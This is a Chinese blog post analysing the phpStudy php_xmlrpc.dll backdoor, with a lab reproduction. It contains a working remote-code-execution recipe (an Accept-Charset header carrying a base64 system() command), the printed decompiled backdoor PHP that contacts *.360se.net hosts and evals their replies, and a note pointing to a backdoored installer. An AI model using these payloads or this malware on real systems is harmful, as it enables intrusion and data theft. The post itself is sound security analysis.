phpstudy后门代码利用及分析

几天前火绒说我的PHPstudy有马,我以为是误报没有在意,但接着我就在知乎上看到了PHPstudy真可能有后门,于是赶紧看了一下,还真有,是我之前下的2016版的,而我在官网下的2019的phpstudy_pro没有问题(文末给出了有后门(!!!)的安装包)
在这里插入图片描述
可以看到php-5.2.17/ext/php_xmlrpc.dllphp-5.4.45/ext/php_xmlrpc.dll里有可疑的@eval字符,看来是有一句话了
根据网上的poc利用一下(要在phpstudy里手动使用php5.2.17或是5.4.45版本,而且要使用php_xmlrpc扩展)
使用burpsuite进行改包发送,这里我用的是pentestbox里的FirefoxPortable和pentestbox里的burpsuite社区版,比专业版少了一个探测网站漏洞的功能
用foxyproxy设置一下代理(就是侧边栏上的狐狸头,或者Tools->FoxyProxy Standard)
在这里插入图片描述
在这里插入图片描述
这里使用本地的8080端口是因为burpsuite默认使用这个端口

刷新一下localhost的网页得到一个拦截(最好直接访问localhost,这应该会显示php探针),右键发送到repeater里去(或者快捷键<ctrl>+R)
在这里插入图片描述
在repeater里改一下包
在这里插入图片描述
注意:这里要该改为使用/访问网站根目录如果之前访问的是其他网页的话
accept-encoding后的字段里的逗号后面有空格要删掉
加入一个accept-charset字段,内容为你想在@eval()里执行的命令的base64编码
这里是system("net user");,编码后是c3lzdGVtKCJuZXQgdXNlciIpOw==
点一下Go按钮返回了执行net user后的结果
包的最后要留两个空行(两个\n\r,十六进制为两个0d0a)
在这里插入图片描述
接着试试tamper data 注:firefoxportable里的tamper data插件因为版本问题被禁了,需要修改一下,可以看我的另一篇博客:pentestbox的firefox踩坑
关掉foxyproxy后,在firefox里的Tools->Tamper Data点一下,点start Tamper,刷新一下后点Tamper改包,去掉accept-encoding里逗号后的空格,在空白处右键add element输入Accept-Charset=c3lzdGVtKCJuZXQgdXNlciIpOw==,再点OK
结果如图在这里插入图片描述
可以看见返回了结果
在这里插入图片描述


关于该后门的分析
md5校验可以看见和(现在)官网的不一样在这里插入图片描述
在这里插入图片描述
用010editor可以看见校验值为0
在这里插入图片描述
用ida打开xml_rpc.dll
搜索字符串,发现可疑的@eval
在这里插入图片描述
在这里插入图片描述
去看看它们的引用,都在一个函数里
在这里插入图片描述
aEvalSS的值为串@eval(%s('%s'));,aGzuncompress的值为串gzuncompress,spprintf是一个字符拼接函数

spprintf is the dynamical version of snprintf. It allocates the buffer in size
         as needed and allows a maximum setting as snprintf (turn this feature
         off by setting max_len to 0). spprintf is a little bit slower than
         snprintf and offers possible memory leakes if you miss freeing the
         buffer allocated by the function. Therefore this function should be
         used where either no maximum is known or the maximum is much bigger
         than normal size required. spprintf always terminates the buffer.

结果是v43指向@eval(gzuncompress(v43)),gzuncompress是一个php提供的解压函数,所以恶意代码内容在v43里,往上看看
在这里插入图片描述
可以看到这是将asc_1000c028unk_1000C66C-4进行了处理后写到了v43里,然后我没看到这一段地址间有0x27,所以好像直接解压就可以了?
而看另一个字符可以看到100c66c1000d5c4-4之间是另一段恶意代码
解压这两段(python实现)(我没跑):用pefile获取gzuncompress的位置,往后0x10就是第一段开头,再后0x644是第二段开头,然后用zlib.decompress(python3)
可以参考
phpStudy遭黑客入侵植入后门事件披露 | 微步在线报告
php2python
出来时是base64编码在用base64.b64decode()就可以出来,到这儿这两个执行差不多,可是它们的执行条件不同

@ini_set("display_errors","0");

    error_reporting(0);

    $h = $_SERVER['HTTP_HOST'];

    $p = $_SERVER['SERVER_PORT'];

    $fp = fsockopen($h, $p, $errno, $errstr, 5);

    if (!$fp) {

    } else {

        $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";

        $out .= "Host: {$h}\r\n";

        $out .= "Accept-Encoding: compress,gzip\r\n";

        $out .= "Connection: Close\r\n\r\n";

        fwrite($fp, $out);

        fclose($fp);

    }

这上面的一段像本地发送了一个请求,有Accept-Encoding头且值为compress,gzip其实是给第二段创造执行条件,我们后面可以看到

@ini_set("display_errors","0");

    error_reporting(0);

    function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){

        $result = "";

      $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);

      if( !$handle ){

        $handle = fsockopen($ip, intval($port), $errno, $errstr, 5);

        if( !$handle ){

            return "err";

        }

      }

      fwrite($handle, $sendMsg."\n");

        while(!feof($handle)){

            stream_set_timeout($handle, 2);

            $result .= fread($handle, 1024);

            $info = stream_get_meta_data($handle);

            if ($info['timed_out']) {

              break;

            }

         }

      fclose($handle);

      return $result;

    }

    $ds = array("www","bbs","cms","down","up","file","ftp");

    $ps = array("20123","40125","8080","80","53");

    $n = false;

    do {

        $n = false;

        foreach ($ds as $d){

            $b = false;

            foreach ($ps as $p){

                $result = tcpGet($i,$d.".360se.net",$p);

                if ($result != "err"){

                    $b =true;

                    break;

                }

            }

            if ($b)break;

        }

        $info = explode("<^>",$result);

        if (count($info)==4){

            if (strpos($info[3],"/*Onemore*/") !== false){

                $info[3] = str_replace("/*Onemore*/","",$info[3]);

                $n=true;

            }

            @eval(base64_decode($info[3]));

        }

    }while($n);

这一段是向域名为.360se.net的好几个子域名的几个端口传东西
再在IDA里向上看,第二段要求**v36指向的内容等于aCompressGzip(compress,gzip),再向上,要求**v36指向的串不等于aGzipDeflate(gzip,deflate),而这个值就是Accept-Encoding字段的值,所以如果没有aServer(_SERVER)或是Accept-Encoding字段也不行,而如果Accept_Encoding字段是aGzipDeflate(gzip,deflate)的话,在找一下有没有Accept-Charset字段,如果有的话就base64解密后进行执行(就是上面我们用的),详情见下图注释
在这里插入图片描述
而第二段的触发条件则是几个地址数据的比较,我们可以查看引用发现这几个地址都被sub_10001010引用并进行了改写
我们查看该函数的引用
在这里插入图片描述
根据参考资料我们可以知道这是一个_zend_module_entry结构体

sub_10001010只在开始加载时执行一次,而sub_10003490在每一次接收到http请求时执行一次,而这个函数正是我们之前分析的含有恶意代码的,而sub_10001010也关系到了第一段代码的执行条件
在这里插入图片描述
start_time为上次进入该条件的时间,current_time为这次的,sub_10001010做了初始化,要求他们的差值在60-100分钟之间才能进入条件进行执行代码段一

我们测试一下
C:\Windows\System32\drivers\etc\hosts写入

192.168.226.129 www.360se.net
192.168.226.129 bbs.360se.net
192.168.226.129 cms.360se.net
192.168.226.129 down.360se.net
192.168.226.129 up.360se.net
192.168.226.129 file.360se.net
192.168.226.129 ftp.360se.net

192.168.226.129是我Kali虚拟机的ip地址
我们只用试试40125端口就行了
server.py(kali上跑的脚本:监听tcp:40125端口并回显一下内容)

import socket
import datetime
bind_ip = "192.168.226.129"
bind_port = 40125
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((bind_ip,bind_port))
server.listen(5)
while True:
    client,addr = server.accept()
    print("now:{}".format(datetime.datetime.now()))
    print("address:{}".format(addr))
    data=client.recv(2048)
    print("data:{}".format(data))
    print()
    client.close()

client.py(就在物理机上跑了,192.168.226.1是我物理机的ip,每秒向phpstudy发送http请求)

import requests
import time
req_num=0
target='http://192.168.226.1'
for i in range(6000):
    requests.get(target)
    req_num+=1
    print('[+]{}'.format(req_num))
    time.sleep(1)

用keypatch修改一下等待时间
在这里插入图片描述
再用010editor修改一下interval的基础值(从083eh(十进制1000)到00h)
这样interval就是一个[76,133]的值了,这是我们可以收到回应的间隔时间
在这里插入图片描述
结果如图,被遮住的地方经过base64解码后可以看到我的磁盘序列号和网卡的mac地址


这里给出有后门(!!!)的phpstudy zip安装包
参考:
phpStudy后门简要分析
PHPStudyGhost后门隐蔽触发功能详细分析

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值